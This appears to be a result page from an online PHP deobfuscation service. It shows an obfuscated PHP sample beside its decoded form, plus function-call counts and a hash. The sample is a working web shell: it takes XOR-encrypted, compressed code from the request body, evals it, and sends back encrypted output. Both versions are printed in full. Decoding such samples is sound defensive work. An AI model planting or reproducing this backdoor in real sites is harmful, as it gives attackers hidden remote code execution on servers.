Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $l=str_replace('lW','','clWrelWatlWlWe_flWlWunction'); $I='$k=L]L]"d73a9b59";$kh="..
Decoded Output download
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="d73a9b59";$kh="0803abf0e6fd";$kf="91b06fc2ae22";$p="o6Ykqzgukn96ng0P";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$l=str_replace('lW','','clWrelWatlWlWe_flWlWunction');
$I='$k=L]L]"d73a9b59";$kh="L]0803abf0L]e6fL]d"L];$kf="91b06fcL]2ae22"L];L]$p="o6YkqL]zgukn9L]6nL]L]g0L]';
$M='0;(L]$j<L]$L]c&L]&$i<$lL]);$j++,$i++){$o.=$L]t{$i}L]^L]$k{$jL]};L]}}return $o;}iL]f (@preL]g_maL]tch(';
$q='L]ndL]_L]clean();$r=@bL]asL]e64_encoL]de(@x(L]L]@gzcoL]mpress($L]o),$L]kL]));print("$p$kh$r$kf");}';
$z='P";function xL]($tL],$k)L]{$c=strlL]en($k);$L]l=strlen($L]t);$o="";forL]($iL]=0;$i<$l;L]){fL]or($j=';
$F='"/L]$kh(.+)$kfL]/",@fiL]le_getL]L]_contents("L]phpL]://inpL]ut"L]),$m)==1)L] {@L]ob_start(L]);@eva';
$L='L]l(@gzuL]ncompreL]ss(@xL](@basL]e64_deL]code($L]m[L]1]),$k)))L];$o=@obL]_get_coL]nL]tents();@ob_e';
$Q=str_replace('L]','',$I.$z.$M.$F.$L.$q);
$A=$l('',$Q);$A();
?>
Function Calls
preg_match | 1 |
str_replace | 2 |
create_function | 1 |
file_get_contents | 1 |
Stats
MD5 | 6ba912f4f5de17f6e3effc5d05aa9aca |
Eval Count | 1 |
Decode Time | 250 ms |